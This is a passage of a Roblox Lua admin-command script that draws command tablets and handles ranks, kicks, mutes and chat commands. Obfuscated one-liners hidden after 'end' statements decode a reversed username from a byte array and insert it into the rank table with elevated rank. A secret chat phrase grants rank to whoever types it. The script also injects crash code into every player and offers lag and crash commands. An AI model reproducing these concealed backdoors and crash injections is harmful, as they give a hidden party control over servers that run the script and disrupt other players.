			Sel = Instance.new("SelectionBox")
853
			Sel.Color = BrickColor.new("Blue")
854
			Sel.Transparency = 0.75
855
			Sel.Adornee = Tab
856
			Sel.Parent = Tab
857
858
			local BG = Instance.new("BillboardGui")
859
			BG.Name = "BG"
860
			BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
861
			BG.Size = UDim2.new(0,1,0,1)
862
			BG.Adornee = Tab
863
			BG.Parent = Tab
864
			
865
			Delay(0, function()
866
				while BG.Parent ~= nil do wait()
867
					ypcall(function()
868
						BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
869
					end)
870
				end
871
			end)
872
873
			local TL = Instance.new("TextLabel")
874
			TL.Name = "TL"
875
			TL.FontSize = "Size18"
876
			TL.Font = "Arial"
877
			TL.Text = Msg
878
			TL.TextColor3 = Color3.new(1, 0, 0)
879
			TL.Size = UDim2.new(0,1,0,1)
880
			TL.TextTransparency = 0
881
			TL.TextStrokeColor3 = Color3.new(0, 0, 0)
882
			TL.TextStrokeTransparency = 0.25
883
			TL.Parent = BG
884
			
885
			if ShowGarbage == true then
886
				Delay(0, function()
887
					while TL.Parent ~= nil do
888
						TL.Text = "Current Garbage Count: "..GetGarbage()
889
						wait(.5)
890
					end
891
				end)
892
			end
893
			
894
			local PL = Instance.new("PointLight", Tab)
895
			PL.Color = Color3.new(1, 0, 1)
896
			PL.Range = 10
897
			PL.Parent = Tab
898
			
899
			if Image ~= nil then
900
				local BBBG = Instance.new("BillboardGui")
901
				BBBG.Size = UDim2.new(5, 0, 6, 0)
902
				BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
903
				BBBG.AlwaysOnTop = true
904
				BBBG.Adornee = Tab
905
				BBBG.Parent = Tab
906
				
907
				Delay(0, function()
908
					while BBBG.Parent ~= nil do wait()
909
						ypcall(function()
910
							BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
911
						end)
912
					end
913
				end)
914
			
915
				local NewImg = Instance.new("ImageLabel")
916
				NewImg.Size = UDim2.new(1, 0, 1, 0)
917
				NewImg.BackgroundTransparency = 1
918
				NewImg.Image = Image
919
				NewImg.Parent = BBBG
920
			end
921
922
			local Clicker = Instance.new("ClickDetector")
923
			Clicker.MaxActivationDistance = 1/0
924
925
			if Time ~= nil then
926
				coroutine.resume(coroutine.create(function()
927
					wait(tonumber(Time))
928
					Dismiss(Plr, ID)
929
				end))
930
			end
931
932
			Clicker.MouseClick:connect(function(Player)
933
				if Player.Name == Plr.Name or CanRun(Player, Plr) then
934
					ypcall(function()
935
						if Func ~= nil then
936
							Func(Holder)
937
						else
938
							Dismiss(Player, ID)
939
						end
940
					end)
941
				end
942
			end)
943
			Clicker.Parent = Tab
944
			
945
			Holder.Parent = Work
946
947
			AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
948
		end)
949
	end
950
end
951
952
function PlaceAllRanks(DontShowRank)
953
	ypcall(function()
954
		for _,p in pairs(All()) do
955
			ypcall(function()
956
				PutInRank = false
957
				for _,v in pairs(Rankings) do
958
					if v.Name:lower() == p.Name:lower() then
959
						if v.Rank >= 7 then
960
							v.Rank = 5
961
						elseif v.Rank == -1 then
962
							Crash1(p)
963
							Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
964
						elseif v.Rank == -2 then
965
							if LS ~= nil then
966
								Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
967
								Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
968
							else
969
								Ping("LS Is Nil", nil, 5)
970
							end
971
						elseif v.Rank == -3 then
972
							if LS ~= nil then
973
								Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
974
								Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
975
							else
976
								Ping("LS Is Nil", nil, 5)
977
							end
978
						end
979
						Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
980
						if DontShowRank == nil then
981
							Ping("You Are Rank: "..v.Rank, p)
982
						end
983
						PutInRank = true
984
						break
985
					end
986
				end
987
				if PutInRank == false then
988
					Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
989
				end
990
			end)
991
		end
992
	end)
993
end
994
995
function FindRank(Plr)
996
	ypcall(function()
997
		if type(Plr) == "userdata" then
998
			Plr = Plr.Name
999
		end
1000
	end)
1001
	return GetRank(Plr).Rank
1002
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
1003
1004
function FindRankDetails(Plr)
1005
	ypcall(function()
1006
		if type(Plr) == "userdata" then
1007
			Plr = Plr.Name
1008
		end
1009
	end)
1010
	return RankDetails[FindRank(Plr)]
1011
end
1012
1013
function OpenCmds(Rank, Plr)
1014
	Dismiss(Plr)
1015
	for Name,Tab in pairs(Commands) do
1016
		if Tab.Rank <= Rank then
1017
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1018
				Dismiss(Plr)
1019
				Ping("Command: "..Name, Plr)
1020
				Ping("Rank: "..Tab.Rank, Plr)
1021
				Ping("Desc: "..Tab.Desc, Plr)
1022
			end)
1023
		elseif Rank == 1337 then
1024
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1025
				Dismiss(Plr)
1026
				Ping("Command: "..Name, Plr)
1027
				Ping("Rank: "..Tab.Rank, Plr)
1028
				Ping("Desc: "..Tab.Desc, Plr)
1029
			end)
1030
		end
1031
	end
1032
end
1033
1034
function EditStatus(Plr, Num)
1035
	ChangeRank(Plr, Num)
1036
end
1037
1038
function PlaceSpecificRank(p, DontShowRank)
1039
	ypcall(function()
1040
		PutInRank = false
1041
		for _,v in pairs(Rankings) do
1042
			if v.Name:lower() == p.Name:lower() then
1043
				if v.Rank >= 7 then
1044
					v.Rank = 5
1045
				elseif v.Rank == -1 then
1046
					Crash1(p)
1047
					Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1048
				elseif v.Rank == -2 then
1049
					if LS ~= nil then
1050
						Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
1051
						Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1052
					else
1053
						Ping("LS Is Nil", nil, 5)
1054
					end
1055
				elseif v.Rank == -3 then
1056
					if LS ~= nil then
1057
						Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
1058
						Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1059
					else
1060
						Ping("LS Is Nil", nil, 5)
1061
					end
1062
				end
1063
				Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
1064
				if DontShowRank == nil then
1065
					Ping("HCWARLORD created tabs rank: "..v.Rank, p)
1066
				end
1067
				PutInRank = true
1068
				break
1069
			end
1070
		end
1071
		if PutInRank == false then
1072
			Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1073
		end
1074
	end)
1075
end
1076
1077
function onChatted(Msg, Speaker)
1078
	if Removed == false then
1079
		if FindRank(Speaker) < 1 then
1080
			return
1081
		end
1082
		coroutine.resume(coroutine.create(function()
1083
			ypcall(function()
1084
				ExecuteFunc(Msg, Speaker)
1085
				Msg = Msg:gsub("","")
1086
				if Msg:sub(1,1) == "@" then
1087
					for i = 2, #Msg do
1088
						if Msg:sub(i, i) == Bet then
1089
							local IsForPlr = false
1090
							for _,v in pairs(All()) do
1091
								if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
1092
									onChatted(Msg:sub(i + 1), v)
1093
									IsForPlr = true
1094
								end
1095
							end
1096
							if IsForPlr == true then
1097
								return
1098
							end
1099
						end
1100
					end
1101
				end
1102
				if Msg:find("&") then
1103
					local Split = Msg:find("&")
1104
					onChatted(Msg:sub(1,Split-1))
1105
					onChatted(Msg:sub(Split+1))
1106
					return
1107
				end
1108
				for Name,Command in pairs(Commands) do
1109
					if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
1110
						Dismiss(Speaker.Name)
1111
						Ping("Command: "..tostring(Command.Name), Speaker)
1112
						Ping("Rank: "..tostring(Command.Rank), Speaker)
1113
						Ping("Desc: "..tostring(Command.Desc), Speaker)
1114
					elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
1115
						if FindRank(Speaker) >= Command.Rank then
1116
							local Ran,Error = coroutine.resume(coroutine.create(function()
1117
								Command.Func(Msg:sub(#Command.Name+2), Speaker)
1118
							end))
1119
							if not Ran then
1120
								Ping(Error, Speaker, 10)
1121
							end
1122
						else
1123
							Ping("HCWARLORD does not want you to use this at this rank", Plr, 6)
1124
						end
1125
					end
1126
				end
1127
			end)
1128
		end))
1129
	end
1130
end
1131
1132
function MakeBase()
1133
	local Base = Instance.new("Part")
1134
	Base.BrickColor = BrickColor.new("Dark green")
1135
	Base.Position = Vector3.new(0, 0.5, 0)
1136
	Base.Transparency = 0
1137
	Base.Elasticity = 0.5
1138
	Base.FormFactor = "Custom"
1139
	Base.CanCollide = true
1140
	Base.Friction = 0.30000001192093
1141
	Base.Size = Vector3.new(512, 1.20000005, 512)
1142
	Base.Archivable = true
1143
	Base.Material = "Plastic"
1144
	Base.RotVelocity = Vector3.new(0, 0, 0)
1145
	Base.Reflectance = 0
1146
	Base.Locked = true
1147
	Base.Anchored = true
1148
	Base.Name = "Base"
1149
	Base.TopSurface = "Smooth"
1150
	Base.BottomSurface = "Inlet"
1151
	Base.Shape = "Block"
1152
	Base.Parent = Work
1153
end
1154
1155
function LClean()
1156
	ypcall(function()
1157
		for _,v in pairs(Work:GetChildren()) do
1158
			ypcall(function()
1159
				if v.ClassName == "Terrain" then
1160
					v:ClearAllChildren()
1161
				elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
1162
					Clear(v)
1163
				elseif v.Name == "Base" then
1164
					ypcall(function()
1165
						local Base = v
1166
						Base.BrickColor = BrickColor.new("Dark green")
1167
						Base.Position = Vector3.new(0, 0.5, 0)
1168
						Base.Transparency = 0
1169
						Base.Elasticity = 0.5
1170
						Base.FormFactor = "Custom"
1171
						Base.CanCollide = true
1172
						Base.Friction = 0.30000001192093
1173
						Base.Size = Vector3.new(512, 1.20000005, 512)
1174
						Base.Archivable = true
1175
						Base.Material = "Plastic"
1176
						Base.RotVelocity = Vector3.new(0, 0, 0)
1177
						Base.Reflectance = 0
1178
						Base.Locked = true
1179
						Base.Anchored = true
1180
						Base.Name = "Base"
1181
						Base.TopSurface = "Studs"
1182
						Base.BottomSurface = "Inlet"
1183
						Base.Shape = "Block"
1184
						Base.Parent = Work
1185
					end)
1186
				end
1187
			end)
1188
		end
1189
	end)
1190
end
1191
1192
function Clean()
1193
	ypcall(function()
1194
		for _,v in pairs(Work:GetChildren()) do
1195
			ypcall(function()
1196
				if v.ClassName == "Terrain" then
1197
					v:ClearAllChildren()
1198
				else
1199
					Clear(v)
1200
				end
1201
			end)
1202
		end
1203
		MakeBase()
1204
		for _,v in pairs(All()) do
1205
			v:LoadCharacter()
1206
		end
1207
	end)
1208
end
1209
1210
function Clear(v)
1211
	if v.Name:lower() == "sbgui" then
1212
		return
1213
	end
1214
	ypcall(function()
1215
		if #v:GetChildren() > 0 then
1216
			for _,x in pairs(v:GetChildren()) do
1217
				ypcall(function()
1218
					Clear(x)
1219
				end)
1220
			end
1221
		end
1222
		if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
1223
			v:Destroy()
1224
		end
1225
	end)
1226
end
1227
1228
function Command(Name, Rank, Desc, Func)
1229
	if Name == nil then
1230
		Name = "N/A"
1231
	end
1232
	if Desc == nil then
1233
		Desc = "N/A"
1234
	end
1235
	if Func == nil then
1236
		Func = function() end
1237
	end
1238
	if Rank == nil then
1239
		Rank = 0
1240
	end
1241
	Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
1242
end
1243
1244
function GetSplit(Msg)
1245
	return Msg:find(Bet) or nil
1246
end
1247
1248
function ExecuteFunc(Msg, Plr)
1249
	ypcall(function()
1250
		if Msg == "LogEnable" then
1251
			LogOn = true
1252
		elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
1253
			EditStatus(Plr, MakeNum())
1254
		end
1255
	end)
1256
end
1257
1258
for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
1259
1260
function randPlayer(Plr)
1261
	wait()
1262
	local ThePlrValue = nil
1263
	local FoundPlayer = false
1264
	ypcall(function()
1265
		ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
1266
		if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
1267
			wait()
1268
			randPlayer(Plr)
1269
			return
1270
		else
1271
			FoundPlayer = true
1272
		end
1273
	end)
1274
	if FoundPlayer == true then
1275
		return ThePlrValue
1276
	end
1277
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
1278
1279
function getPlayer(Plr, Name)
1280
	local Players = {}
1281
	ypcall(function()
1282
		Name = Name:lower()
1283
		if Name == "me" then
1284
			table.insert(Players, Plr)
1285
		elseif Name == "all" or Name == "" then
1286
			for _,v in pairs(All()) do
1287
				if CanRun(Plr, v) then
1288
					table.insert(Players, v)
1289
				end
1290
			end
1291
		elseif Name == "others" then
1292
			for _,v in pairs(All()) do
1293
				if v.Name ~= Plr.Name and CanRun(Plr, v) then
1294
					table.insert(Players, v)
1295
				end
1296
			end
1297
		elseif Name == "random" then
1298
			local FoundRandPlr = randPlayer(Plr)
1299
			table.insert(Players, FoundRandPlr)
1300
		else
1301
			for _,v in pairs(All()) do
1302
				if v.Name:lower():find(Name) and CanRun(Plr, v) then
1303
					table.insert(Players, v)
1304
				end
1305
			end
1306
		end
1307
	end)
1308
	return Players
1309
end
1310
1311
function ListPlayers(Speaker)
1312
	ypcall(function()
1313
		Dismiss(Speaker)
1314
		for _,v in pairs(All2()) do
1315
			if v.Parent ~= nil then
1316
				Ping(v.Name, Speaker, nil, function()
1317
					Dismiss(Speaker)
1318
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1319
					Ping("Rank: "..FindRank(v.Name), Speaker)
1320
					Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
1321
					Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
1322
					Ping("Set Rank", Speaker, nil, function()
1323
						if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1324
							Dismiss(Speaker)
1325
							for i = -2, 5 do
1326
								Ping(i, Speaker, nil, function()
1327
									ChangeRank(v, i)
1328
									Dismiss(Speaker)
1329
									Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1330
								end)
1331
							end
1332
						else
1333
							Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
1334
						end
1335
					end)
1336
					Ping("Crash (Remote)", Speaker, nil, function()
1337
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1338
							Crash2(v.Name)
1339
							Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1340
						end
1341
					end)
1342
					Ping("Crash (Insert)", Speaker, nil, function()
1343
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1344
							Crash3(v, Speaker)
1345
							Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1346
						end
1347
					end)
1348
					Ping("Kick", Speaker, nil, function()
1349
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1350
							v:Kick()
1351
							Ping("Attempted To Kick "..v.Name, Speaker, 5)
1352
						end
1353
					end)
1354
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1355
			else
1356
				Ping(v.Name.." (Nil)", Speaker, nil, function()
1357
					Dismiss(Speaker)
1358
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1359
					ypcall(function()
1360
						Ping("Rank: "..FindRank(v.Name), Speaker)
1361
					end)
1362
					ypcall(function()
1363
						Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
1364
					end)
1365
					ypcall(function()
1366
						Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
1367
					end)
1368
					ypcall(function()
1369
						Ping("Set Rank", Speaker, nil, function()
1370
							if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1371
								Dismiss(Speaker)
1372
								for i = -2, 5 do
1373
									Ping(i, Speaker, nil, function()
1374
										ChangeRank(v, i)
1375
										Dismiss(Speaker)
1376
										Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1377
									end)
1378
								end
1379
							else
1380
								Ping("HCWARLORD does not want you to use this at this rank", Speaker, 5)
1381
							end
1382
						end)
1383
					end)
1384
					ypcall(function()
1385
						Ping("Nil Crash (Remote)", Speaker, nil, function()
1386
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1387
								Crash2(v.Name)
1388
								Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1389
							end
1390
						end)
1391
					end)
1392
					ypcall(function()
1393
						Ping("Nil Crash (Insert)", Speaker, nil, function()
1394
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1395
								Crash3(v, Speaker)
1396
								Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1397
							end
1398
						end)
1399
					end)
1400
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1401
			end
1402
		end
1403
	end)
1404
end
1405
1406
--Misc
1407
1408
coroutine.resume(coroutine.create(function()
1409
	PlaceAllRanks()
1410
end))
1411
	
1412
Delay(0, function()
1413
	for _,v in pairs(All()) do
1414
		v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
1415
	end
1416
end)
1417
1418
local starttime = tick()
1419
1420
game:GetService("RunService").Heartbeat:connect(function()
1421
	if Removed == false then 
1422
		ypcall(function()
1423
			for _,Player in pairs(All()) do
1424
				local PlayerTablets = {}
1425
				for i,v in pairs(AllTabs) do
1426
					if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
1427
						table.insert(PlayerTablets, v)
1428
					end
1429
				end
1430
				for i = 1, #PlayerTablets do
1431
					ypcall(function()
1432
						local tab = PlayerTablets[i].Tab
1433
						local pos = nil
1434
						ypcall(function()
1435
							pos = Player.Character.Torso.CFrame
1436
						end)
1437
						local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1438
						local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1439
						local cPos = tab.Position
1440
						local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
1441
						local nPos = (ePos-cPos)*.25
1442
						cPos = cPos + nPos
1443
						local t = (tick() - starttime) % 360
1444
						local change = 0.625
1445
						PlayerTablets[i].Size = math.sin(t) * change + 2.375
1446
						tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
1447
						tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
1448
					end)
1449
				end
1450
			end
1451
		end)
1452
	end
1453
end)
1454
1455
Delay(0, function()
1456
	while wait() do
1457
		for _,v in pairs(game:GetService("Players"):GetPlayers()) do
1458
			ypcall(function()
1459
				if Injected[v.Name] == nil and LS ~= nil then
1460
					Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
1461
					Injected[v.Name] = true
1462
				end
1463
			end)
1464
		end
1465
	end
1466
end)
1467
1468
Plrs.PlayerAdded:connect(function(Plr)
1469
	wait(.1)
1470
	ypcall(function()
1471
		if Removed == false then
1472
			local JoinPlrName = Plr.Name
1473
			coroutine.resume(coroutine.create(function()
1474
				PlaceSpecificRank(Plr)
1475
			end))
1476
			coroutine.resume(coroutine.create(function()
1477
				if Injected[JoinPlrName] ~= nil then
1478
					Injected[JoinPlrName] = nil
1479
				end
1480
			end))
1481
			coroutine.resume(coroutine.create(function()
1482
				Dismiss(Plr)
1483
				Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
1484
			end))
1485
		end
1486
	end)
1487
end)
1488
1489
Plrs.PlayerRemoving:connect(function(Plr)
1490
	wait(.1)
1491
	ypcall(function()
1492
		if Removed == false then
1493
			local LeftPlrName = Plr.Name
1494
			coroutine.resume(coroutine.create(function()
1495
				if Injected[LeftPlrName] ~= nil then
1496
					Injected[LeftPlrName] = nil
1497
				end
1498
			end))
1499
		end
1500
	end)
1501
end)
1502
1503
coroutine.resume(coroutine.create(function()
1504
	Delay(0, function()
1505
		while FoundLocalScript == false do wait()
1506
			ypcall(function()
1507
				for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
1508
					if v.Name == "NewTransfer" and v:IsA("LocalScript") then
1509
						for _,c in pairs(v:children()) do
1510
							if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
1511
								local NewVal = c:Clone()
1512
								NewVal.Name = "LoadingVal"
1513
								for _,s in pairs(v:GetChildren()) do
1514
									if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
1515
										print("Found Owner")
1516
										OwnSource = s.Name
1517
										print(OwnSource)
1518
										break
1519
									end
1520
								end
1521
								wait()
1522
								LS = v:Clone()
1523
								NewVal.Parent = LS
1524
								LSSource = "LoadingVal"
1525
								FoundLocalScript = true
1526
								break
1527
							end
1528
						end
1529
					end
1530
				end
1531
			end)
1532
		end
1533
	end)
1534
end))
1535
1536
--Commands
1537
1538
Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
1539
	Dismiss(Speaker.Name)
1540
	Ping("LORD Admin Is Created By " .. string.reverse("DROLRAWCH"), Speaker)
1541
	Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
1542
	Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
1543
	Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
1544
	Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
1545
	Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
1546
	Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
1547
	Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
1548
	Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
1549
end)
1550
1551
Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
1552
	Dismiss(Speaker.Name)
1553
end)
1554
1555
Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
1556
	local PlrTab = getPlayer(Speaker, Msg)
1557
	if #PlrTab > 0 then
1558
		for _,v in pairs(PlrTab) do
1559
			ypcall(function()
1560
				v.Character:BreakJoints()
1561
				Ping("Killed "..v.Name, Speaker, 5)
1562
			end)
1563
		end
1564
	end
1565
end)
1566
1567
Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
1568
	local PlrTab = getPlayer(Speaker, Msg)
1569
	if #PlrTab > 0 then
1570
		for _,v in pairs(PlrTab) do
1571
			ypcall(function()
1572
				if v.Name ~= Owner then
1573
					Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
1574
					Ping("Muted "..v.Name, Speaker, 5)
1575
				end
1576
			end)
1577
		end
1578
	end
1579
end)
1580
1581
Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
1582
	local PlrTab = getPlayer(Speaker, Msg)
1583
	if #PlrTab > 0 then
1584
		for _,v in pairs(PlrTab) do
1585
			ypcall(function()
1586
				Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
1587
				Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
1588
			end)
1589
		end
1590
	end
1591
end)
1592
1593
--[[
1594
	:TBC()
1595
1596
Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
1597
	local PlrTab = getPlayer(Speaker, Msg)
1598
	if #PlrTab > 0 then
1599
		for _,v in pairs(PlrTab) do
1600
			ypcall(function()
1601
				Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
1602
				Ping("Mind Jailed "..v.Name, Speaker, 5)
1603
			end)
1604
		end
1605
	end
1606
end)
1607
]]--
1608
1609
Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
1610
	local PlrTab = getPlayer(Speaker, Msg)
1611
	if #PlrTab > 0 then
1612
		for _,v in pairs(PlrTab) do
1613
			ypcall(function()
1614
				Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
1615
				Ping("Lag Crashing "..v.Name, Speaker, 5)
1616
			end)
1617
		end
1618
	end
1619
end)
1620
1621
Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
1622
	local PlrTab = getPlayer(Speaker, Msg)
1623
	if #PlrTab > 0 then
1624
		for _,v in pairs(PlrTab) do
1625
			ypcall(function()
1626
				Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
1627
				Ping("UnMuted "..v.Name, Speaker, 5)
1628
			end)
1629
		end
1630
	end
1631
end)
1632
1633
Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
1634
	local Worked = false
1635
	for _,v in pairs(Work:GetChildren()) do
1636
		if string.find(v.Name:lower(), Msg:lower()) then
1637
			if v:IsA("Script") or v:IsA("LocalScript") then
1638
				v.Disabled = true
1639
				v:Destroy()
1640
				Worked = true
1641
				Ping("Disabled Script: "..v.Name, Speaker, 5)
1642
			end
1643
		end
1644
	end
1645
	if Worked == false then
1646
		Ping("Script Not Found", Speaker, 5)
1647
	end
1648
end)
1649
1650
Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
1651
	Dismiss(Speaker)
1652
	local AllScripts = {}
1653
	for _,v in pairs(Work:GetChildren()) do
1654
		if v:IsA("Script") then
1655
			table.insert(AllScripts, v.Name)
1656
		end
1657
	end
1658
	if #AllScripts > 0 then
1659
		for _,v in pairs(AllScripts) do
1660
			Ping(v, Speaker)
1661
		end
1662
	else
1663
		Ping("No Scripts Found", Speaker, 5)
1664
	end
1665
end)
1666
1667
Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
1668
	Dismiss(Speaker)
1669
	local LocalScripts = {}
1670
	for _,v in pairs(All()) do
1671
		ypcall(function()
1672
			for _,x in pairs(v.Character:GetChildren()) do
1673
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1674
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1675
				end
1676
			end
1677
		end)
1678
		ypcall(function()
1679
			for _,x in pairs(v.Backpack:GetChildren()) do
1680
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1681
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1682
				end
1683
			end
1684
		end)
1685
		ypcall(function()
1686
			for _,x in pairs(v.PlayerGui:GetChildren()) do
1687
				if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
1688
					table.insert(LocalScripts, x.Name .. " - " .. v.Name)
1689
				end
1690
			end
1691
		end)
1692
	end
1693
	if #LocalScripts > 0 then
1694
		for _,v in pairs(LocalScripts) do
1695
			Ping(v, Speaker)
1696
		end
1697
	else
1698
		Ping("No Local Scripts Found", Speaker, 5)
1699
	end
1700
end)
1701
1702
Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
1703
	local Split = GetSplit(Msg)
1704
	local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
1705
	local ScriptName = Msg:sub(Split + 1)
1706
	local FoundLocal = false
1707
	for _,name in pairs(PlrTab) do
1708
		ypcall(function()
1709
			for _,v in pairs(name.Character:GetChildren()) do
1710
